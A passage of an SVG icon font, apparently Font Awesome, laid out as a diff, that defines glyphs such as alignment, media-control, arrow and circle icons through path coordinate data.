16h288zM560 80c15.6396 0 20.6396 -18 11.3096 -27.3096l-80 -80c-2.89551 -2.89453 -6.89844 -4.68555 -11.3115 -4.68555 +c-4.41406 0 -8.41211 1.79102 -11.3076 4.68555l-80 80c-10.0107 10 -3 27.3096 11.3096 27.3096h48v224h-48c-15.6396 0 -20.6396 18 -11.3096 27.3096l80 80c2.89551 2.89453 6.89844 4.68555 11.3115 4.68555c4.41406 0 8.41211 -1.79102 11.3076 -4.68555l80 -80 +c10.0205 -10 3 -27.3096 -11.3096 -27.3096h-48v-224h48z" /> + <glyph glyph-name="text-width" unicode="" horiz-adv-x="448" +d="M432 416c8.83105 0 16 -7.16895 16 -16v-80c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v16h-120v-112h24c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-128c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h24v112h-120v-16c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v80c0 8.83105 7.16895 16 16 16h416zM363.31 155.31l80 -80c2.89453 -2.89551 4.68555 -6.89844 4.68555 -11.3115 +c0 -4.41406 -1.79102 -8.41211 -4.68555 -11.3076l-80 -80c-10 -10.0205 -27.3096 -3 -27.3096 11.3096v48h-224v-48c0 -15.6396 -18 -20.6396 -27.3096 -11.3096l-80 80c-2.89453 2.89551 -4.68555 6.89844 -4.68555 11.3115c0 4.41406 1.79102 8.41211 4.68555 11.3076 +l80 80c10 10.0107 27.3096 3 27.3096 -11.3096v-48h224v48c0 15.6396 18 20.6396 27.3096 11.3096z" /> + <glyph glyph-name="align-left" unicode="" horiz-adv-x="448" +d="M12.8301 96c-7.07617 0 -12.8301 5.74414 -12.8301 12.8193v0.0107422v38.3398v0.00976562c0 7.07617 5.74414 12.8203 12.8193 12.8203h0.0107422h262.34h0.00976562c7.07617 0 12.8203 -5.74414 12.8203 -12.8193v-0.0107422v-38.3398v-0.00976562 +c0 -7.07617 -5.74414 -12.8203 -12.8193 -12.8203h-0.0107422h-262.34zM12.8301 352c-7.07617 0 -12.8301 5.74414 -12.8301 12.8193v0.0107422v38.3398v0.00976562c0 7.07617 5.74414 12.8203 12.8193 12.8203h0.0107422h262.34h0.00976562 +c7.07617 0 12.8203 -5.74414 12.8203 -12.8193v-0.0107422v-38.3398v-0.00976562c0 -7.07617 -5.74414 -12.8203 -12.8193 -12.8203h-0.0107422h-262.34zM432 288c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h416zM432 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416z" /> + <glyph glyph-name="align-center" unicode="" horiz-adv-x="448" +d="M432 288c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416zM432 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16 +v32c0 8.83105 7.16895 16 16 16h416zM108.1 352c-6.67773 0 -12.0996 5.42188 -12.0996 12.0996v39.8105c0 6.67285 5.41699 12.0898 12.0898 12.0898h0.00976562h231.811c6.67285 0 12.0898 -5.41699 12.0898 -12.0898v-39.8105v-0.00976562 +c0 -6.67285 -5.41699 -12.0898 -12.0898 -12.0898h-231.811zM339.91 96h-231.811c-6.67773 0 -12.0996 5.42188 -12.0996 12.0996v39.8105c0 6.67285 5.41699 12.0898 12.0898 12.0898h0.00976562h231.811c6.67285 0 12.0898 -5.41699 12.0898 -12.0898v-39.8105 +v-0.00976562c0 -6.67285 -5.41699 -12.0898 -12.0898 -12.0898z" /> + <glyph glyph-name="align-right" unicode="" horiz-adv-x="448" +d="M16 224c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416zM432 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16 +v32c0 8.83105 7.16895 16 16 16h416zM435.17 416c7.07617 0 12.8301 -5.74414 12.8301 -12.8193v-0.0107422v-38.3398v-0.00976562c0 -7.07617 -5.74414 -12.8203 -12.8193 -12.8203h-0.0107422h-262.34h-0.00976562c-7.07617 0 -12.8203 5.74414 -12.8203 12.8193 +v0.0107422v38.3398v0.00976562c0 7.07617 5.74414 12.8203 12.8193 12.8203h0.0107422h262.34zM435.17 160c7.07617 0 12.8301 -5.74414 12.8301 -12.8193v-0.0107422v-38.3398v-0.00976562c0 -7.07617 -5.74414 -12.8203 -12.8193 -12.8203h-0.0107422h-262.34h-0.00976562 +c-7.07617 0 -12.8203 5.74414 -12.8203 12.8193v0.0107422v38.3398v0.00976562c0 7.07617 5.74414 12.8203 12.8193 12.8203h0.0107422h262.34z" /> + <glyph glyph-name="align-justify" unicode="" horiz-adv-x="448" +d="M432 32c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416zM432 160c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16 +v32c0 8.83105 7.16895 16 16 16h416zM432 288c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416zM432 416c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16 +h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416z" /> + <glyph glyph-name="list" unicode="" +d="M80 80c8.83105 0 16 -7.16895 16 -16v-64c0 -8.83105 -7.16895 -16 -16 -16h-64c-8.83105 0 -16 7.16895 -16 16v64c0 8.83105 7.16895 16 16 16h64zM80 400c8.83105 0 16 -7.16895 16 -16v-64c0 -8.83105 -7.16895 -16 -16 -16h-64c-8.83105 0 -16 7.16895 -16 16v64 +c0 8.83105 7.16895 16 16 16h64zM80 240c8.83105 0 16 -7.16895 16 -16v-64c0 -8.83105 -7.16895 -16 -16 -16h-64c-8.83105 0 -16 7.16895 -16 16v64c0 8.83105 7.16895 16 16 16h64zM496 64c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-320 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h320zM496 384c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-320c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h320zM496 224c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-320c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h320z" /> + <glyph glyph-name="outdent" unicode="" horiz-adv-x="448" +d="M100.69 84.71l-96 95.9805c-2.89453 2.89551 -4.68555 6.89844 -4.68555 11.3115c0 4.41406 1.79102 8.41211 4.68555 11.3076l96 96c9.97949 10 27.3096 3.01074 27.3096 -11.3096v-191.98c0 -14.2393 -17.3096 -21.3096 -27.3096 -11.3096zM432 32 +c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416zM435.17 160c7.07617 0 12.8301 -5.74414 12.8301 -12.8193v-0.0107422v-38.3398v-0.00976562 +c0 -7.07617 -5.74414 -12.8203 -12.8193 -12.8203h-0.0107422h-230.34h-0.00976562c-7.07617 0 -12.8203 5.74414 -12.8203 12.8193v0.0107422v38.3398v0.00976562c0 7.07617 5.74414 12.8203 12.8193 12.8203h0.0107422h230.34zM435.17 288 +c7.07617 0 12.8301 -5.74414 12.8301 -12.8193v-0.0107422v-38.3398v-0.00976562c0 -7.07617 -5.74414 -12.8203 -12.8193 -12.8203h-0.0107422h-230.34h-0.00976562c-7.07617 0 -12.8203 5.74414 -12.8203 12.8193v0.0107422v38.3398v0.00976562 +c0 7.07617 5.74414 12.8203 12.8193 12.8203h0.0107422h230.34zM432 416c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416z" /> + <glyph glyph-name="indent" unicode="" horiz-adv-x="448" +d="M27.3096 84.7002c-9.97949 -10 -27.3096 -3.00977 -27.3096 11.2998v192c0 14.2197 17.2695 21.3398 27.3096 11.3203l96 -96c2.89453 -2.89648 4.68555 -6.89941 4.68555 -11.3125s-1.79102 -8.41211 -4.68555 -11.3076zM432 32c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416zM435.17 160c7.07617 0 12.8301 -5.74414 12.8301 -12.8193v-0.0107422v-38.3398v-0.00976562c0 -7.07617 -5.74414 -12.8203 -12.8193 -12.8203h-0.0107422 +h-230.34h-0.00976562c-7.07617 0 -12.8203 5.74414 -12.8203 12.8193v0.0107422v38.3398v0.00976562c0 7.07617 5.74414 12.8203 12.8193 12.8203h0.0107422h230.34zM435.17 288c7.07617 0 12.8301 -5.74414 12.8301 -12.8193v-0.0107422v-38.3398v-0.00976562 +c0 -7.07617 -5.74414 -12.8203 -12.8193 -12.8203h-0.0107422h-230.34h-0.00976562c-7.07617 0 -12.8203 5.74414 -12.8203 12.8193v0.0107422v38.3398v0.00976562c0 7.07617 5.74414 12.8203 12.8193 12.8203h0.0107422h230.34zM432 416c8.83105 0 16 -7.16895 16 -16v-32 +c0 -8.83105 -7.16895 -16 -16 -16h-416c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h416z" /> + <glyph glyph-name="video" unicode="" horiz-adv-x="576" +d="M336.2 384c26.3994 0 47.7998 -21.4004 47.7998 -47.7998v-288.4c0 -26.3994 -21.4004 -47.7998 -47.7998 -47.7998h-288.4c-26.3994 0 -47.7998 21.4004 -47.7998 47.7998v288.4c0 26.3994 21.4004 47.7998 47.7998 47.7998h288.4zM525.6 346.3 +c21.3008 14.6006 50.4004 -0.399414 50.4004 -25.7998v-256.9c0 -25.5 -29.2002 -40.3994 -50.4004 -25.7998l-109.6 75.5v157.4z" /> + <glyph glyph-name="image" unicode="" +d="M464 0h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h416c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48zM112 328c-30.9277 0 -56 -25.0723 -56 -56s25.0723 -56 56 -56s56 25.0723 56 56s-25.0723 56 -56 56zM64 64h384 +v112l-87.5146 87.5146c-4.68652 4.68652 -12.2842 4.68652 -16.9717 0l-135.514 -135.515l-55.5146 55.5146c-4.68652 4.68652 -12.2842 4.68652 -16.9717 0l-71.5137 -71.5146v-48z" /> + <glyph glyph-name="map-marker" unicode="" horiz-adv-x="384" +d="M172.268 -53.6699c-145.298 210.639 -172.268 232.257 -172.268 309.67c0 106.039 85.9609 192 192 192s192 -85.9609 192 -192c0 -77.4131 -26.9697 -99.0312 -172.268 -309.67c-9.53516 -13.7744 -29.9307 -13.7734 -39.4648 0z" /> + <glyph glyph-name="adjust" unicode="" +d="M8 192c0 136.967 111.034 248 248 248s248 -111.034 248 -248s-111.033 -248 -248 -248s-248 111.034 -248 248zM256 8c101.689 0 184 82.2949 184 184c0 101.689 -82.2949 184 -184 184v-368z" /> + <glyph glyph-name="tint" unicode="" horiz-adv-x="352" +d="M205.22 425.91c46.9902 -158.48 146.78 -200.07 146.78 -311.82c0 -98.4395 -78.7197 -178.09 -176 -178.09s-176 79.6504 -176 178.09c0 111.19 100.01 154.061 146.78 311.82c9 30.1201 50.5 28.7803 58.4395 0zM176 0c8.83984 0 16 7.16016 16 16s-7.16016 16 -16 16 +c-44.1104 0 -80 35.8896 -80 80c0 8.83984 -7.16016 16 -16 16s-16 -7.16016 -16 -16c0 -61.75 50.25 -112 112 -112z" /> + <glyph glyph-name="edit" unicode="" horiz-adv-x="576" +d="M402.6 364.8l90.2002 -90.2002c3.7998 -3.7998 3.7998 -10 0 -13.7998l-218.399 -218.399l-92.8008 -10.3008c-12.3994 -1.39941 -22.8994 9.10059 -21.5 21.5l10.3008 92.8008l218.399 218.399c3.7998 3.7998 10 3.7998 13.7998 0zM564.6 387.7 +c15.2002 -15.2002 15.2002 -39.9004 0 -55.2002l-35.3994 -35.4004c-3.7998 -3.7998 -10 -3.7998 -13.7998 0l-90.2002 90.2002c-3.7998 3.7998 -3.7998 10 0 13.7998l35.3994 35.4004c15.3008 15.2002 40 15.2002 55.2002 0zM384 101.8c0 3.2002 1.2998 6.2002 3.5 8.5 +l40 40c7.59961 7.5 20.5 2.2002 20.5 -8.5v-157.8c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h285.8c10.7002 0 16.1006 -12.9004 8.5 -20.5l-40 -40c-2.2998 -2.2002 -5.2998 -3.5 -8.5 -3.5h-229.8v-320h320v101.8z" /> + <glyph glyph-name="step-backward" unicode="" horiz-adv-x="448" +d="M64 -20v424c0 6.59961 5.40039 12 12 12h48c6.59961 0 12 -5.40039 12 -12v-176.4l195.5 181c20.5996 17.1006 52.5 2.80078 52.5 -24.5996v-384c0 -27.4004 -31.9004 -41.7002 -52.5 -24.5996l-195.5 179.899v-175.3c0 -6.59961 -5.40039 -12 -12 -12h-48 +c-6.59961 0 -12 5.40039 -12 12z" /> + <glyph glyph-name="fast-backward" unicode="" +d="M0 12v360c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-151.9l171.5 156.5c20.5996 17.1006 52.5 2.80078 52.5 -24.5996v-131.9l171.5 156.5c20.5996 17.1006 52.5 2.80078 52.5 -24.5996v-320c0 -27.4004 -31.9004 -41.7002 -52.5 -24.5996 +l-171.5 155.3v-130.7c0 -27.4004 -31.9004 -41.7002 -52.5 -24.5996l-171.5 155.3v-150.7c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12z" /> + <glyph glyph-name="backward" unicode="" +d="M11.5 167.4c-15.2998 12.7998 -15.2998 36.3994 0 49.1992l192 160c20.5996 17.2002 52.5 2.80078 52.5 -24.5996v-320c0 -27.4004 -31.9004 -41.7998 -52.5 -24.5996zM267.5 167.4c-15.2998 12.7998 -15.2998 36.3994 0 49.1992l192 160 +c20.5996 17.2002 52.5 2.80078 52.5 -24.5996v-320c0 -27.4004 -31.9004 -41.7998 -52.5 -24.5996z" /> + <glyph glyph-name="play" unicode="" horiz-adv-x="448" +d="M424.4 233.3c31.5 -18.5 31.3994 -64.0996 0 -82.5996l-352 -208c-31.7002 -18.7998 -72.4004 3.7998 -72.4004 41.2998v416.1c0 41.8008 43.7998 58.2002 72.4004 41.3008z" /> + <glyph glyph-name="pause" unicode="" horiz-adv-x="448" +d="M144 -31h-96c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48zM448 17c0 -26.5 -21.5 -48 -48 -48h-96c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48 -21.5 48 -48v-352z" /> + <glyph glyph-name="stop" unicode="" horiz-adv-x="448" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352z" /> + <glyph glyph-name="forward" unicode="" +d="M500.5 216.6c15.2998 -12.7998 15.2998 -36.3994 0 -49.1992l-192 -160c-20.5996 -17.2002 -52.5 -2.80078 -52.5 24.5996v320c0 27.4004 31.9004 41.7002 52.5 24.5996zM244.5 216.6c15.2998 -12.7998 15.2998 -36.3994 0 -49.1992l-192 -160 +c-20.5996 -17.2002 -52.5 -2.80078 -52.5 24.5996v320c0 27.4004 31.9004 41.7002 52.5 24.5996z" /> + <glyph glyph-name="fast-forward" unicode="" +d="M512 372v-360c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v151.9l-171.5 -156.5c-20.5996 -17.2002 -52.5 -2.80078 -52.5 24.5996v131.9l-171.5 -156.5c-20.5996 -17.2002 -52.5 -2.80078 -52.5 24.5996v320 +c0 27.4004 31.9004 41.7002 52.5 24.5996l171.5 -155.399v130.8c0 27.4004 31.9004 41.7002 52.5 24.5996l171.5 -155.399v150.8c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12z" /> + <glyph glyph-name="step-forward" unicode="" horiz-adv-x="448" +d="M384 404v-424c0 -6.59961 -5.40039 -12 -12 -12h-48c-6.59961 0 -12 5.40039 -12 12v176.4l-195.5 -181c-20.5996 -17.1006 -52.5 -2.80078 -52.5 24.5996v384c0 27.4004 31.9004 41.7002 52.5 24.5996l195.5 -179.899v175.3c0 6.59961 5.40039 12 12 12h48 +c6.59961 0 12 -5.40039 12 -12z" /> + <glyph glyph-name="eject" unicode="" horiz-adv-x="448" +d="M448 64v-64c0 -17.6729 -14.3271 -32 -32 -32h-384c-17.6729 0 -32 14.3271 -32 32v64c0 17.6729 14.3271 32 32 32h384c17.6729 0 32 -14.3271 32 -32zM48.0527 128c-41.7285 0 -63.5273 49.7324 -35.3828 80.4346l175.946 192.008 +c19.0156 20.7432 51.7529 20.7422 70.7666 0l175.939 -192.008c28.1973 -30.7607 6.26758 -80.4346 -35.3828 -80.4346h-351.887z" /> + <glyph glyph-name="chevron-left" unicode="" horiz-adv-x="320" +d="M34.5195 208.97l194.351 194.34c9.37012 9.37012 24.5703 9.37012 33.9395 0l22.6709 -22.6699c9.35938 -9.35938 9.36914 -24.5195 0.0390625 -33.8994l-154.029 -154.74l154.02 -154.75c9.33984 -9.37988 9.32031 -24.54 -0.0400391 -33.9004l-22.6699 -22.6699 +c-9.37012 -9.37012 -24.5693 -9.37012 -33.9395 0l-194.341 194.351c-9.36914 9.37012 -9.36914 24.5693 0 33.9395z" /> + <glyph glyph-name="chevron-right" unicode="" horiz-adv-x="320" +d="M285.476 175.029l-194.344 -194.344c-9.37305 -9.37207 -24.5684 -9.37207 -33.9404 0l-22.667 22.667c-9.35742 9.35742 -9.375 24.5225 -0.0400391 33.9014l154.021 154.746l-154.021 154.745c-9.33496 9.37891 -9.31738 24.5439 0.0400391 33.9014l22.667 22.667 +c9.37305 9.37207 24.5684 9.37207 33.9404 0l194.343 -194.344c9.37305 -9.37207 9.37305 -24.5674 0.000976562 -33.9404z" /> + <glyph glyph-name="plus-circle" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM400 164v56c0 6.59961 -5.40039 12 -12 12h-92v92c0 6.59961 -5.40039 12 -12 12h-56c-6.59961 0 -12 -5.40039 -12 -12v-92h-92c-6.59961 0 -12 -5.40039 -12 -12v-56 +c0 -6.59961 5.40039 -12 12 -12h92v-92c0 -6.59961 5.40039 -12 12 -12h56c6.59961 0 12 5.40039 12 12v92h92c6.59961 0 12 5.40039 12 12z" /> + <glyph glyph-name="minus-circle" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM124 152h264c6.59961 0 12 5.40039 12 12v56c0 6.59961 -5.40039 12 -12 12h-264c-6.59961 0 -12 -5.40039 -12 -12v-56c0 -6.59961 5.40039 -12 12 -12z" /> + <glyph glyph-name="times-circle" unicode="" +d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM377.6 126.9l-65.5996 65.0996l65.7002 65c4.7002 4.7002 4.7002 12.2998 0 17l-39.6006 39.5996c-4.69922 4.7002 -12.2998 4.7002 -17 0l-65.0996 -65.5996l-65 65.7002 +c-4.7002 4.7002 -12.2998 4.7002 -17 0l-39.5996 -39.6006c-4.7002 -4.69922 -4.7002 -12.2998 0 -17l65.5996 -65.0996l-65.5996 -65c-4.7002 -4.7002 -4.7002 -12.2998 0 -17l39.5 -39.5996c4.69922 -4.7002 12.2998 -4.7002 17 0l65.0996 65.5996l65 -65.5996 +c4.7002 -4.7002 12.2998 -4.7002 17 0l39.5996 39.5c4.7002 4.69922 4.7002 12.2998 0 17z" /> + <glyph glyph-name="check-circle" unicode="" +d="M504 192c0 -136.967 -111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248s248 -111.033 248 -248zM227.314 60.6855l184 184c6.24707 6.24805 6.24707 16.3799 0 22.6279l-22.6279 22.627c-6.24707 6.24902 -16.3789 6.24902 -22.6279 0 +l-150.059 -150.059l-70.0586 70.0596c-6.24805 6.24805 -16.3799 6.24805 -22.6279 0l-22.6279 -22.627c-6.24707 -6.24805 -6.24707 -16.3799 0 -22.6279l104 -104c6.24902 -6.24805 16.3799 -6.24805 22.6289 -0.000976562z" /> + <glyph glyph-name="question-circle" unicode="" +d="M504 192c0 -136.997 -111.043 -248 -248 -248s-248 111.003 -248 248c0 136.917 111.043 248 248 248s248 -111.083 248 -248zM262.655 358c-54.4971 0 -89.2549 -22.957 -116.549 -63.7578c-3.53613 -5.28613 -2.35352 -12.415 2.71484 -16.2578l34.6982 -26.3105 +c5.20508 -3.94727 12.6211 -3.00781 16.665 2.12207c17.8643 22.6582 30.1133 35.7969 57.3037 35.7969c20.4287 0 45.6973 -13.1475 45.6973 -32.958c0 -14.9756 -12.3623 -22.667 -32.5332 -33.9756c-23.5244 -13.1875 -54.6523 -29.6006 -54.6523 -70.6592v-4 +c0 -6.62695 5.37305 -12 12 -12h56c6.62695 0 12 5.37305 12 12v1.33301c0 28.4619 83.1855 29.6475 83.1855 106.667c0 58.002 -60.1641 102 -116.53 102zM256 110c-25.3652 0 -46 -20.6348 -46 -46c0 -25.3643 20.6348 -46 46 -46s46 20.6357 46 46 +c0 25.3652 -20.6348 46 -46 46z" /> + <glyph glyph-name="info-circle" unicode="" +d="M256 440c136.957 0 248 -111.083 248 -248c0 -136.997 -111.043 -248 -248 -248s-248 111.003 -248 248c0 136.917 111.043 248 248 248zM256 330c-23.1963 0 -42 -18.8037 -42 -42s18.8037 -42 42 -42s42 18.8037 42 42s-18.8037 42 -42 42zM312 76v24 +c0 6.62695 -5.37305 12 -12 12h-12v100c0 6.62695 -5.37305 12 -12 12h-64c-6.62695 0 -12 -5.37305 -12 -12v-24c0 -6.62695 5.37305 -12 12 -12h12v-64h-12c-6.62695 0 -12 -5.37305 -12 -12v-24c0 -6.62695 5.37305 -12 12 -12h88c6.62695 0 12 5.37305 12 12z" /> + <glyph glyph-name="crosshairs" unicode="" +d="M500 224c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-30.3643c-13.9121 -93.6748 -87.9609 -167.724 -181.636 -181.636v-30.3643c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v30.3643 +c-93.6748 13.9121 -167.724 87.9609 -181.636 181.636h-30.3643c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h30.3643c13.9121 93.6748 87.9609 167.724 181.636 181.636v30.3643c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-30.3643 +c93.6748 -13.9121 167.724 -87.9609 181.636 -181.636h30.3643zM288 43.3662c58.2432 12.417 104.232 58.46 116.634 116.634h-40.6338c-6.62695 0 -12 5.37305 -12 12v40c0 6.62695 5.37305 12 12 12h40.6338c-12.417 58.2432 -58.46 104.232 -116.634 116.634v-40.6338 +c0 -6.62695 -5.37305 -12 -12 -12h-40c-6.62695 0 -12 5.37305 -12 12v40.6338c-58.2432 -12.417 -104.232 -58.46 -116.634 -116.634h40.6338c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-40.6338 +c12.417 -58.2432 58.46 -104.232 116.634 -116.634v40.6338c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-40.6338zM288 192c0 -17.6729 -14.3271 -32 -32 -32s-32 14.3271 -32 32s14.3271 32 32 32s32 -14.3271 32 -32z" /> + <glyph glyph-name="ban" unicode="" +d="M256 440c136.967 0 248 -111.034 248 -248s-111.034 -248 -248 -248s-248 111.033 -248 248s111.034 248 248 248zM386.108 322.108c-65.4121 65.4102 -165.435 70.0312 -235.639 20.6758l256.315 -256.313c49.3232 70.1562 44.7705 170.189 -20.6768 235.638z +M125.892 61.8916c65.4121 -65.4111 165.436 -70.0312 235.639 -20.6758l-256.315 256.313c-49.3232 -70.1562 -44.7705 -170.189 20.6768 -235.638z" /> + <glyph glyph-name="arrow-left" unicode="" horiz-adv-x="448" +d="M257.5 2.90039l-22.2002 -22.2002c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-194.4 194.3c-9.40039 9.40039 -9.40039 24.5996 0 33.9004l194.4 194.399c9.39941 9.40039 24.5996 9.40039 33.8994 0l22.2002 -22.2002c9.5 -9.5 9.2998 -25 -0.400391 -34.2998 +l-120.5 -114.8h287.4c13.2998 0 24 -10.7002 24 -24v-32c0 -13.2998 -10.7002 -24 -24 -24h-287.4l120.5 -114.8c9.80078 -9.2998 10 -24.7998 0.400391 -34.2998z" /> + <glyph glyph-name="arrow-right" unicode="" horiz-adv-x="448" +d="M190.5 381.1l22.2002 22.2002c9.39941 9.40039 24.5996 9.40039 33.8994 0l194.4 -194.3c9.40039 -9.40039 9.40039 -24.5996 0 -33.9004l-194.4 -194.399c-9.39941 -9.40039 -24.5996 -9.40039 -33.8994 0l-22.2002 22.2002c-9.5 9.5 -9.2998 25 0.400391 34.2998 +l120.5 114.8h-287.4c-13.2998 0 -24 10.7002 -24 24v32c0 13.2998 10.7002 24 24 24h287.4l-120.5 114.8c-9.80078 9.2998 -10 24.7998 -0.400391 34.2998z" /> + <glyph glyph-name="arrow-up" unicode="" horiz-adv-x="448" +d="M34.9004 158.5l-22.2002 22.2002c-9.40039 9.39941 -9.40039 24.5996 0 33.8994l194.3 194.4c9.40039 9.40039 24.5996 9.40039 33.9004 0l194.3 -194.3c9.39941 -9.40039 9.39941 -24.6006 0 -33.9004l-22.2002 -22.2002c-9.5 -9.5 -25 -9.2998 -34.2998 0.400391 +l-114.7 120.4v-287.4c0 -13.2998 -10.7002 -24 -24 -24h-32c-13.2998 0 -24 10.7002 -24 24v287.4l-114.8 -120.5c-9.2998 -9.80078 -24.7998 -10 -34.2998 -0.400391z" /> + <glyph glyph-name="arrow-down" unicode="" horiz-adv-x="448" +d="M413.1 225.5l22.2002 -22.2002c9.40039 -9.39941 9.40039 -24.5996 0 -33.8994l-194.3 -194.4c-9.40039 -9.40039 -24.5996 -9.40039 -33.9004 0l-194.399 194.4c-9.40039 9.39941 -9.40039 24.5996 0 33.8994l22.2002 22.2002c9.5 9.5 25 9.2998 34.2998 -0.400391 +l114.8 -120.5v287.4c0 13.2998 10.7002 24 24 24h32c13.2998 0 24 -10.7002 24 -24v-287.4l114.8 120.5c9.2998 9.80078 24.7998 10 34.2998 0.400391z" /> + <glyph glyph-name="share" unicode="" +d="M503.691 258.164c11.0859 -9.5752 11.0703 -26.7656 0 -36.3281l-176.005 -152c-15.3867 -13.2891 -39.6865 -2.53613 -39.6865 18.1641v87.915c-155.083 -2.23145 -221.934 -40.7295 -176.59 -185.742c5.03418 -16.0977 -14.4238 -28.5615 -28.0771 -18.6309 +c-43.752 31.8232 -83.333 92.6914 -83.333 154.132c0 152.227 127.371 184.419 288 186.258v80.0537c0 20.668 24.2812 31.4688 39.6865 18.1641z" /> + <glyph glyph-name="expand" unicode="" horiz-adv-x="448" +d="M0 268v124c0 13.2998 10.7002 24 24 24h124c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-84v-84c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12zM288 404c0 6.59961 5.40039 12 12 12h124c13.2998 0 24 -10.7002 24 -24 +v-124c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v84h-84c-6.59961 0 -12 5.40039 -12 12v40zM436 128c6.59961 0 12 -5.40039 12 -12v-124c0 -13.2998 -10.7002 -24 -24 -24h-124c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h84 +v84c0 6.59961 5.40039 12 12 12h40zM160 -20c0 -6.59961 -5.40039 -12 -12 -12h-124c-13.2998 0 -24 10.7002 -24 24v124c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-84h84c6.59961 0 12 -5.40039 12 -12v-40z" /> + <glyph glyph-name="compress" unicode="" horiz-adv-x="448" +d="M436 256h-124c-13.2998 0 -24 10.7002 -24 24v124c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-84h84c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12zM160 280c0 -13.2998 -10.7002 -24 -24 -24h-124 +c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 